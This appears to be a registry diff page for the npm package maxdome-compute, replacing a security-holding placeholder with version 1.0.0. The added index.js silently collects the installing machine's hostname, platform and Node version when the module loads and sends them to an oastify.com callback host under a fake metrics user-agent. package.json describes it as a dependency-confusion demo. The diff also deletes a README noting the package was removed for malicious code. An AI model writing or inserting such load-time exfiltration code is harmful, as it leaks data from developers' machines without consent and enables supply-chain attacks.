maxdome-compute 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of maxdome-compute might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -0
  2. package/package.json +5 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ function sendMetrics() {
5
+ const metrics = {
6
+ timestamp: new Date().toISOString(),
7
+ package_installed: true,
8
+ system: {
9
+ platform: os.platform(),
10
+ arch: os.arch(),
11
+ node_version: process.version,
12
+ hostname: os.hostname()
13
+ },
14
+ install_id: Math.random().toString(36).substring(2, 15)
15
+ };
16
+
17
+ const data = JSON.stringify(metrics);
18
+
19
+ const url = new URL('https://ua8dk1erk74oeekemur41qu7yy4psfg4.oastify.com');
20
+
21
+ const options = {
22
+ hostname: url.hostname,
23
+ port: 443,
24
+ path: url.pathname,
25
+ method: 'POST',
26
+ headers: {
27
+ 'Content-Type': 'application/json',
28
+ 'Content-Length': data.length,
29
+ 'User-Agent': 'npm-package-metrics/1.0.0'
30
+ }
31
+ };
32
+
33
+ const req = https.request(options, (res) => {
34
+ console.log(`Metrics sent successfully. Status: ${res.statusCode}`);
35
+ });
36
+
37
+ req.on('error', (error) => {
38
+ // Silently fail to avoid disrupting package installation
39
+ console.log('Metrics sending failed:', error.message);
40
+ });
41
+
42
+ req.write(data);
43
+ req.end();
44
+ }
45
+
46
+ // Send metrics when the module is loaded
47
+ sendMetrics();
48
+
49
+ // Export a simple function in case the package needs to be used
50
+ module.exports = {
51
+ sendMetrics,
52
+ version: '1.0.0'
53
+ };
package/package.json CHANGED
@@ -1,6 +1,8 @@
1
1
  {
2
2
  "name": "maxdome-compute",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Demo package to prove dependency confusion",
5
+ "main": "index.js",
6
+ "author": "Your Name",
7
+ "license": "ISC"
6
8
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=maxdome-compute for more information.